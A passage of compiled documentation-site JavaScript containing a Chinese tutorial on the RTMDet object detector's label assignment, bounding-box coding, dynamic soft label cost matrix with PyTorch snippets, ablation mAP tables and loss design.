Head \u7684\u5177\u4f53\u5b9e\u73b0\u7a0d\u6709\u4e0d\u540c\u3002\n"})}),"\n",(0,l.jsx)(n.h3,{id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",children:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565"}),"\n",(0,l.jsxs)(n.p,{children:["\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565\u6216\u8005\u79f0\u4e3a\u6807\u7b7e\u5339\u914d\u7b56\u7565 ",(0,l.jsx)(n.code,{children:"Label Assignment"})," \u662f\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\u8bad\u7ec3\u4e2d\u6700\u6838\u5fc3\u7684\u95ee\u9898\u4e4b\u4e00, \u66f4\u597d\u7684\u6807\u7b7e\u5339\u914d\u7b56\u7565\u5f80\u5f80\u80fd\u591f\u4f7f\u5f97\u7f51\u7edc\u66f4\u597d\u5b66\u4e60\u5230\u7269\u4f53\u7684\u7279\u5f81\u4ee5\u63d0\u9ad8\u68c0\u6d4b\u80fd\u529b\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u65e9\u671f\u7684\u6837\u672c\u6807\u7b7e\u5339\u914d\u7b56\u7565\u4e00\u822c\u90fd\u662f\u57fa\u4e8e ",(0,l.jsx)(n.code,{children:"\u7a7a\u95f4\u4ee5\u53ca\u5c3a\u5ea6\u4fe1\u606f\u7684\u5148\u9a8c"})," \u6765\u51b3\u5b9a\u6837\u672c\u7684\u9009\u53d6\u3002 \u5178\u578b\u6848\u4f8b\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"FCOS"})," \u4e2d\u5148\u9650\u5b9a\u7f51\u683c\u4e2d\u5fc3\u70b9\u5728 ",(0,l.jsx)(n.code,{children:"GT"})," \u5185\u7b5b\u9009\u540e\u7136\u540e\u518d\u901a\u8fc7\u4e0d\u540c\u7279\u5f81\u5c42\u9650\u5236\u5c3a\u5bf8\u6765\u51b3\u5b9a\u6b63\u8d1f\u6837\u672c"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"RetinaNet"})," \u5219\u662f\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"Anchor"})," \u4e0e ",(0,l.jsx)(n.code,{children:"GT"})," \u7684\u6700\u5927 ",(0,l.jsx)(n.code,{children:"IOU"})," \u5339\u914d\u6765\u5212\u5206\u6b63\u8d1f\u6837\u672c"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"YOLOV5"})," \u7684\u6b63\u8d1f\u6837\u672c\u5219\u662f\u901a\u8fc7\u6837\u672c\u7684\u5bbd\u9ad8\u6bd4\u5148\u7b5b\u9009\u4e00\u90e8\u5206, \u7136\u540e\u901a\u8fc7\u4f4d\u7f6e\u4fe1\u606f\u9009\u53d6 ",(0,l.jsx)(n.code,{children:"GT"})," \u4e2d\u5fc3\u843d\u5728\u7684 ",(0,l.jsx)(n.code,{children:"Grid"})," \u4ee5\u53ca\u4e34\u8fd1\u7684\u4e24\u4e2a\u4f5c\u4e3a\u6b63\u6837\u672c"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u4f46\u662f\u4e0a\u8ff0\u65b9\u6cd5\u90fd\u662f\u5c5e\u4e8e\u57fa\u4e8e ",(0,l.jsx)(n.code,{children:"\u5148\u9a8c"})," \u7684\u9759\u6001\u5339\u914d\u7b56\u7565, \u5c31\u662f\u6837\u672c\u7684\u9009\u53d6\u65b9\u5f0f\u662f\u6839\u636e\u4eba\u7684\u7ecf\u9a8c\u89c4\u5b9a\u7684\u3002 \u4e0d\u4f1a\u968f\u7740\u7f51\u7edc\u7684\u4f18\u5316\u800c\u8fdb\u884c\u81ea\u52a8\u4f18\u5316\u9009\u53d6\u5230\u66f4\u597d\u7684\u6837\u672c, \u8fd1\u4e9b\u5e74\u6d8c\u73b0\u4e86\u8bb8\u591a\u4f18\u79c0\u7684\u52a8\u6001\u6807\u7b7e\u5339\u914d\u7b56\u7565\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"OTA"})," \u63d0\u51fa\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"Sinkhorn"})," \u8fed\u4ee3\u6c42\u89e3\u5339\u914d\u4e2d\u7684\u6700\u4f18\u4f20\u8f93\u95ee\u9898"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"YOLOX"})," \u4e2d\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"OTA"})," \u7684\u8fd1\u4f3c\u7b97\u6cd5 ",(0,l.jsx)(n.code,{children:"SimOTA"})," , ",(0,l.jsx)(n.code,{children:"TOOD"})," \u5c06\u5206\u7c7b\u5206\u6570\u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"IOU"})," \u76f8\u4e58\u8ba1\u7b97 ",(0,l.jsx)(n.code,{children:"Cost"})," \u77e9\u9635\u8fdb\u884c\u6807\u7b7e\u5339\u914d\u7b49\u7b49"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e9b\u7b97\u6cd5\u5c06 ",(0,l.jsx)(n.code,{children:"\u9884\u6d4b\u7684 Bboxes \u4e0e GT \u7684 IOU "})," \u548c ",(0,l.jsx)(n.code,{children:"\u5206\u7c7b\u5206\u6570"})," \u6216\u8005\u662f\u5bf9\u5e94 ",(0,l.jsx)(n.code,{children:"\u5206\u7c7b Loss"})," \u548c ",(0,l.jsx)(n.code,{children:"\u56de\u5f52 Loss"})," \u62ff\u6765\u8ba1\u7b97 ",(0,l.jsx)(n.code,{children:"Matching Cost"})," \u77e9\u9635\u518d\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"top-k"})," \u7684\u65b9\u5f0f\u52a8\u6001\u51b3\u5b9a\u6837\u672c\u9009\u53d6\u4ee5\u53ca\u6837\u672c\u4e2a\u6570\u3002\u901a\u8fc7\u8fd9\u79cd\u65b9\u5f0f,\n\u5728\u7f51\u7edc\u4f18\u5316\u7684\u8fc7\u7a0b\u4e2d\u4f1a\u81ea\u52a8\u9009\u53d6\u5bf9\u5206\u7c7b\u6216\u8005\u56de\u5f52\u66f4\u52a0\u654f\u611f\u6709\u6548\u7684\u4f4d\u7f6e\u7684\u6837\u672c, \u5b83\u4e0d\u518d\u53ea\u4f9d\u8d56\u5148\u9a8c\u7684\u9759\u6001\u7684\u4fe1\u606f, \u800c\u662f\u4f7f\u7528\u5f53\u524d\u7684\u9884\u6d4b\u7ed3\u679c\u53bb\u52a8\u6001\u5bfb\u627e\u6700\u4f18\u7684\u5339\u914d, \u53ea\u8981\u6a21\u578b\u7684\u9884\u6d4b\u8d8a\u51c6\u786e, \u5339\u914d\u7b97\u6cd5\u6c42\u5f97\u7684\u7ed3\u679c\u4e5f\u4f1a\u66f4\u4f18\u79c0\u3002\u4f46\u662f\u5728\u7f51\u7edc\u8bad\u7ec3\u7684\u521d\u671f, \u7f51\u7edc\u7684\u5206\u7c7b\u4ee5\u53ca\u56de\u5f52\u662f\u968f\u673a\u521d\u59cb\u5316, \u8fd9\u4e2a\u65f6\u5019\u8fd8\u662f\u9700\u8981 ",(0,l.jsx)(n.code,{children:"\u5148\u9a8c"})," \u6765\u7ea6\u675f, \u4ee5\u8fbe\u5230 ",(0,l.jsx)(n.code,{children:"\u51b7\u542f\u52a8"})," \u7684\u6548\u679c\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"RTMDet"})," \u4f5c\u8005\u4e5f\u662f\u91c7\u7528\u4e86\u52a8\u6001\u7684 ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u505a\u6cd5\uff0c\u4e0d\u8fc7\u5176\u5bf9\u52a8\u6001\u7684\u6b63\u8d1f\u6837\u672c\u5206\u914d\u7b56\u7565\u8fdb\u884c\u4e86\u6539\u8fdb\u3002 \u4e4b\u524d\u7684\u52a8\u6001\u5339\u914d\u7b56\u7565\uff08 ",(0,l.jsx)(n.code,{children:"HungarianAssigner"})," \u3001",(0,l.jsx)(n.code,{children:"OTA"})," \uff09\u5f80\u5f80\u4f7f\u7528\u4e0e ",(0,l.jsx)(n.code,{children:"Loss"})," \u5b8c\u5168\u4e00\u81f4\u7684\u4ee3\u4ef7\u51fd\u6570\u4f5c\u4e3a\u5339\u914d\u7684\u4f9d\u636e\uff0c\u4f46\u6211\u4eec\u7ecf\u8fc7\u5b9e\u9a8c\u53d1\u73b0\u8fd9\u5e76\u4e0d\u4e00\u5b9a\u65f6\u6700\u4f18\u7684\u3002 \u4f7f\u7528\u66f4\u591a ",(0,l.jsx)(n.code,{children:"Soften"})," \u7684 ",(0,l.jsx)(n.code,{children:"Cost"})," \u4ee5\u53ca\u5148\u9a8c\uff0c\u80fd\u591f\u63d0\u5347\u6027\u80fd\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"131-bbox-\u7f16\u89e3\u7801\u8fc7\u7a0b",children:"1.3.1 Bbox \u7f16\u89e3\u7801\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u7684 BBox Coder \u91c7\u7528\u7684\u662f ",(0,l.jsx)(n.code,{children:"mmdet.DistancePointBBoxCoder"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8be5\u7c7b\u7684 docstring \u4e3a ",(0,l.jsx)(n.code,{children:"This coder encodes gt bboxes (x1, y1, x2, y2) into (top, bottom, left, right) and decode it back to the original."})]}),"\n",(0,l.jsx)(n.p,{children:"\u7f16\u7801\u5668\u5c06 gt bboxes (x1, y1, x2, y2) \u7f16\u7801\u4e3a (top, bottom, left, right)\uff0c\u5e76\u4e14\u89e3\u7801\u81f3\u539f\u56fe\u50cf\u4e0a\u3002"}),"\n",(0,l.jsx)(n.p,{children:"MMDet \u7f16\u7801\u7684\u6838\u5fc3\u6e90\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def bbox2distance(points: Tensor, bbox: Tensor, ...) -> Tensor:\n """\n points (Tensor): \u76f8\u5f53\u4e8e scale \u503c stride \uff0c\u4e14\u6bcf\u4e2a\u9884\u6d4b\u70b9\u4ec5\u4e3a\u4e00\u4e2a\u6b63\u65b9\u5f62 anchor \u7684 anchor point [x, y]\uff0cShape (n, 2) or (b, n, 2).\n bbox (Tensor): Bbox \u4e3a\u4e58\u4e0a stride \u7684\u7f51\u7edc\u9884\u6d4b\u503c\uff0c\u683c\u5f0f\u4e3a xyxy\uff0cShape (n, 4) or (b, n, 4).\n """\n # \u8ba1\u7b97\u70b9\u8ddd\u79bb\u56db\u8fb9\u7684\u8ddd\u79bb\n left = points[..., 0] - bbox[..., 0]\n top = points[..., 1] - bbox[..., 1]\n right = bbox[..., 2] - points[..., 0]\n bottom = bbox[..., 3] - points[..., 1]\n\n ...\n\n return torch.stack([left, top, right, bottom], -1)\n'})}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u89e3\u7801\u7684\u6838\u5fc3\u6e90\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:'def distance2bbox(points: Tensor, distance: Tensor, ...) -> Tensor:\n """\n \u901a\u8fc7\u8ddd\u79bb\u53cd\u7b97 bbox \u7684 xyxy\n points (Tensor): \u6b63\u65b9\u5f62\u7684\u9884\u6d4b anchor \u7684 anchor point [x, y]\uff0cShape (B, N, 2) or (N, 2).\n distance (Tensor): \u8ddd\u79bb\u56db\u8fb9\u7684\u8ddd\u79bb\u3002(left, top, right, bottom). Shape (B, N, 4) or (N, 4)\n """\n\n # \u53cd\u7b97 bbox xyxy\n x1 = points[..., 0] - distance[..., 0]\n y1 = points[..., 1] - distance[..., 1]\n x2 = points[..., 0] + distance[..., 2]\n y2 = points[..., 1] + distance[..., 3]\n\n bboxes = torch.stack([x1, y1, x2, y2], -1)\n\n ...\n\n return bboxes\n'})}),"\n",(0,l.jsx)(n.h4,{id:"132-\u5339\u914d\u7b56\u7565",children:"1.3.2 \u5339\u914d\u7b56\u7565"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"RTMDet"})," \u63d0\u51fa\u4e86 ",(0,l.jsx)(n.code,{children:"Dynamic Soft Label Assigner"})," \u6765\u5b9e\u73b0\u6807\u7b7e\u7684\u52a8\u6001\u5339\u914d\u7b56\u7565, \u8be5\u65b9\u6cd5\u4e3b\u8981\u5305\u62ec\u4f7f\u7528 ",(0,l.jsx)(n.strong,{children:"\u4f4d\u7f6e\u5148\u9a8c\u4fe1\u606f\u635f\u5931"})," , ",(0,l.jsx)(n.strong,{children:"\u6837\u672c\u56de\u5f52\u635f\u5931"})," , ",(0,l.jsx)(n.strong,{children:"\u6837\u672c\u5206\u7c7b\u635f\u5931"})," , \u540c\u65f6\u5bf9\u4e09\u4e2a\u635f\u5931\u8fdb\u884c\u4e86 ",(0,l.jsx)(n.code,{children:"Soft"})," \u5904\u7406\u8fdb\u884c\u53c2\u6570\u8c03\u4f18, \u4ee5\u8fbe\u5230\u6700\u4f73\u7684\u52a8\u6001\u5339\u914d\u6548\u679c\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u8be5\u65b9\u6cd5 Matching Cost \u77e9\u9635\u7531\u5982\u4e0b\u635f\u5931\u6784\u6210\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"cost_matrix = soft_cls_cost + iou_cost + soft_center_prior\n"})}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsx)(n.li,{children:"Soft_Center_Prior"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{center} = \\\\alpha^{|x\\_{pred}-x\\_{gt}|-\\\\beta}\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# valid_prior Tensor[N,4] \u8868\u793aanchor point\n# 4\u5206\u522b\u8868\u793a x, y, \u4ee5\u53ca\u5bf9\u5e94\u7684\u7279\u5f81\u5c42\u7684 stride, stride\ngt_center = (gt_bboxes[:, :2] + gt_bboxes[:, 2:]) / 2.0\nvalid_prior = priors[valid_mask]\nstrides = valid_prior[:, 2]\n# \u8ba1\u7b97gt\u4e0eanchor point\u7684\u4e2d\u5fc3\u8ddd\u79bb\u5e76\u8f6c\u6362\u5230\u7279\u5f81\u56fe\u5c3a\u5ea6\ndistance = (valid_prior[:, None, :2] - gt_center[None, :, :]\n ).pow(2).sum(-1).sqrt() / strides[:, None]\n# \u4ee510\u4e3a\u5e95\u8ba1\u7b97\u4f4d\u7f6e\u7684\u8f6f\u5316\u635f\u5931,\u9650\u5b9a\u5728gt\u76846\u4e2a\u5355\u5143\u683c\u4ee5\u5185\nsoft_center_prior = torch.pow(10, distance - 3)\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"2",children:["\n",(0,l.jsx)(n.li,{children:"IOU_Cost"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{reg} = -log(IOU)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# \u8ba1\u7b97\u56de\u5f52 bboxes \u548c gts \u7684 iou\npairwise_ious = self.iou_calculator(valid_decoded_bbox, gt_bboxes)\n# \u5c06 iou \u4f7f\u7528 log \u8fdb\u884c soft , iou \u8d8a\u5c0f cost \u66f4\u5c0f\niou_cost = -torch.log(pairwise_ious + EPS) * 3\n"})}),"\n",(0,l.jsxs)(n.ol,{start:"3",children:["\n",(0,l.jsx)(n.li,{children:"Soft_Cls_Cost"}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{math}",children:"C\\_{cls} = CE(P,Y\\_{soft}) \\*(Y\\_{soft}-P)^2\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"# \u751f\u6210\u5206\u7c7b\u6807\u7b7e\n gt_onehot_label = (\n F.one_hot(gt_labels.to(torch.int64),\n pred_scores.shape[-1]).float().unsqueeze(0).repeat(\n num_valid, 1, 1))\nvalid_pred_scores = valid_pred_scores.unsqueeze(1).repeat(1, num_gt, 1)\n# \u4e0d\u5355\u5355\u5c06\u5206\u7c7b\u6807\u7b7e\u4e3a01,\u800c\u662f\u6362\u6210\u4e0e gt \u7684 iou\nsoft_label = gt_onehot_label * pairwise_ious[..., None]\n# \u4f7f\u7528 quality focal loss \u8ba1\u7b97\u5206\u7c7b\u635f\u5931 cost ,\u4e0e\u5b9e\u9645\u7684\u5206\u7c7b\u635f\u5931\u8ba1\u7b97\u4fdd\u6301\u4e00\u81f4\nscale_factor = soft_label - valid_pred_scores.sigmoid()\nsoft_cls_cost = F.binary_cross_entropy_with_logits(\n valid_pred_scores, soft_label,\n reduction='none') * scale_factor.abs().pow(2.0)\nsoft_cls_cost = soft_cls_cost.sum(dim=-1)\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u901a\u8fc7\u8ba1\u7b97\u4e0a\u8ff0\u4e09\u4e2a\u635f\u5931\u7684\u548c\u5f97\u5230\u6700\u7ec8\u7684 ",(0,l.jsx)(n.code,{children:"cost_matrix"})," \u540e, \u518d\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u51b3\u5b9a\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"GT"})," \u5339\u914d\u7684\u6837\u672c\u7684\u4e2a\u6570\u5e76\u51b3\u5b9a\u6700\u7ec8\u7684\u6837\u672c\u3002\u5177\u4f53\u64cd\u4f5c\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\u9996\u5148\u901a\u8fc7\u81ea\u9002\u5e94\u8ba1\u7b97\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u8981\u9009\u53d6\u7684\u6837\u672c\u6570\u91cf\uff1a \u53d6\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u4e0e\u6240\u6709 ",(0,l.jsx)(n.code,{children:"bboxes"})," \u524d ",(0,l.jsx)(n.code,{children:"13"})," \u5927\u7684 ",(0,l.jsx)(n.code,{children:"iou"}),", \u5f97\u5230\u5b83\u4eec\u7684\u548c\u53d6\u6574\u540e\u4f5c\u4e3a\u8fd9\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u7684 ",(0,l.jsx)(n.code,{children:"\u6837\u672c\u6570\u76ee"})," , \u6700\u5c11\u4e3a ",(0,l.jsx)(n.code,{children:"1"})," \u4e2a, \u8bb0\u4e3a ",(0,l.jsx)(n.code,{children:"dynamic_ks"}),"\u3002"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5bf9\u4e8e\u6bcf\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," , \u5c06\u5176 ",(0,l.jsx)(n.code,{children:"cost_matrix"})," \u77e9\u9635\u524d ",(0,l.jsx)(n.code,{children:"dynamic_ks"})," \u5c0f\u7684\u4f4d\u7f6e\u4f5c\u4e3a\u8be5 ",(0,l.jsx)(n.code,{children:"gt"})," \u7684\u6b63\u6837\u672c\u3002"]}),"\n",(0,l.jsxs)(n.li,{children:["\u5bf9\u4e8e\u67d0\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"bbox"}),", \u5982\u679c\u88ab\u5339\u914d\u5230\u591a\u4e2a ",(0,l.jsx)(n.code,{children:"gt"})," \u5c31\u5c06\u4e0e\u8fd9\u4e9b ",(0,l.jsx)(n.code,{children:"gts"})," \u7684 ",(0,l.jsx)(n.code,{children:"cost_marix"})," \u4e2d\u6700\u5c0f\u7684\u90a3\u4e2a\u4f5c\u4e3a\u5176 ",(0,l.jsx)(n.code,{children:"label"}),"\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u7f51\u7edc\u8bad\u7ec3\u521d\u671f\uff0c\u56e0\u53c2\u6570\u521d\u59cb\u5316\uff0c\u56de\u5f52\u548c\u5206\u7c7b\u7684\u635f\u5931\u503c ",(0,l.jsx)(n.code,{children:"Cost"})," \u5f80\u5f80\u8f83\u5927, \u8fd9\u65f6\u5019 ",(0,l.jsx)(n.code,{children:"IOU"})," \u6bd4\u8f83\u5c0f\uff0c \u9009\u53d6\u7684\u6837\u672c\u8f83\u5c11\uff0c\u4e3b\u8981\u8d77\u4f5c\u7528\u7684\u662f ",(0,l.jsx)(n.code,{children:"Soft_center_prior"})," \u4e5f\u5c31\u662f\u4f4d\u7f6e\u4fe1\u606f\uff0c\u4f18\u5148\u9009\u53d6\u4f4d\u7f6e\u8ddd\u79bb ",(0,l.jsx)(n.code,{children:"GT"})," \u6bd4\u8f83\u8fd1\u7684\u6837\u672c\u4f5c\u4e3a\u6b63\u6837\u672c\uff0c\u8fd9\u4e5f\u7b26\u5408\u4eba\u4eec\u7684\u7406\u89e3\uff0c\u5728\u7f51\u7edc\u524d\u671f\u7ed9\u5c11\u91cf\u5e76\u4e14\u6709\u8db3\u591f\u8d28\u91cf\u7684\u6837\u672c\uff0c\u4ee5\u8fbe\u5230\u51b7\u542f\u52a8\u3002\n\u5f53\u7f51\u7edc\u8fdb\u884c\u8bad\u7ec3\u4e00\u6bb5\u65f6\u95f4\u8fc7\u540e\uff0c\u5206\u7c7b\u5206\u652f\u548c\u56de\u5f52\u5206\u652f\u90fd\u8fdb\u884c\u4e86\u4e00\u5b9a\u7684\u4f18\u5316\u540e\uff0c\u8fd9\u65f6 ",(0,l.jsx)(n.code,{children:"IOU"})," \u53d8\u5927\uff0c \u9009\u53d6\u7684\u6837\u672c\u4e5f\u9010\u6e10\u589e\u591a\uff0c\u8fd9\u65f6\u7f51\u7edc\u4e5f\u6709\u80fd\u529b\u5b66\u4e60\u5230\u66f4\u591a\u7684\u6837\u672c\uff0c\u540c\u65f6\u56e0\u4e3a ",(0,l.jsx)(n.code,{children:"IOU_Cost"})," \u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"Soft_Cls_Cost"})," \u53d8\u5c0f\uff0c\u7f51\u7edc\u4e5f\u4f1a\u52a8\u6001\u7684\u627e\u5230\u66f4\u6709\u5229\u4f18\u5316\u5206\u7c7b\u4ee5\u53ca\u56de\u5f52\u7684\u6837\u672c\u70b9\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5728 ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u7684\u4e09\u79cd\u635f\u5931\u7684\u6d88\u878d\u5b9e\u9a8c\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Soft_cls_cost"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Soft_center_prior"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"Log_IoU_cost"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"39.9"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.3"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\xd7"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.8"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"\u221a"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"41.3"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0e\u5176\u4ed6\u4e3b\u6d41 ",(0,l.jsx)(n.code,{children:"Assign"})," \u65b9\u6cd5\u5728 ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u7684\u5bf9\u6bd4\u5b9e\u9a8c\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"center"},children:"method"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"ATSS"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"39.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"PAA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.4"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"OTA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"TOOD(w/o TAH)"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"40.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"center"},children:"Ours"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"41.3"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u65e0\u8bba\u662f ",(0,l.jsx)(n.code,{children:"Resnet50-1x"})," \u8fd8\u662f\u6807\u51c6\u7684\u8bbe\u7f6e\u4e0b\uff0c\u8fd8\u662f\u5728",(0,l.jsx)(n.code,{children:"300epoch"})," + ",(0,l.jsx)(n.code,{children:"havy augmentation"}),", \u76f8\u6bd4\u4e8e ",(0,l.jsx)(n.code,{children:"SimOTA"})," \u3001 ",(0,l.jsx)(n.code,{children:"OTA"})," \u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"TOOD"})," \u4e2d\u7684 ",(0,l.jsx)(n.code,{children:"TAL"})," \u5747\u6709\u63d0\u5347\u3002"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"300e + Mosaic & MixUP"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"RTMDet-s + SimOTA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"43.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"RTMDet-s + DSLA"}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"44.5"})]})]})]}),"\n",(0,l.jsx)(n.h3,{id:"14-loss-\u8bbe\u8ba1",children:"1.4 Loss \u8bbe\u8ba1"}),"\n",(0,l.jsxs)(n.p,{children:["\u53c2\u4e0e Loss \u8ba1\u7b97\u7684\u5171\u6709\u4e24\u4e2a\u503c\uff1a",(0,l.jsx)(n.code,{children:"loss_cls"})," \u548c ",(0,l.jsx)(n.code,{children:"loss_bbox"}),"\uff0c\u5176\u5404\u81ea\u4f7f\u7528\u7684 Loss \u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"loss_cls"}),"\uff1a",(0,l.jsx)(n.code,{children:"mmdet.QualityFocalLoss"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"loss_bbox"}),"\uff1a",(0,l.jsx)(n.code,{children:"mmdet.GIoULoss"})]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6743\u91cd\u6bd4\u4f8b\u662f\uff1a",(0,l.jsx)(n.code,{children:"loss_cls"})," : ",(0,l.jsx)(n.code,{children:"loss_bbox"})," = ",(0,l.jsx)(n.code,{children:"1 : 2"})]}),"\n",(0,l.jsx)(n.h4,{id:"qualityfocalloss",children:"QualityFocalLoss"}),"\n",(0,l.jsxs)(n.p,{children:["Quality Focal Loss (QFL) \u662f ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2006.04388",children:"Generalized Focal Loss: Learning Qualified and Distributed Bounding Boxes for Dense Object Detection"})," 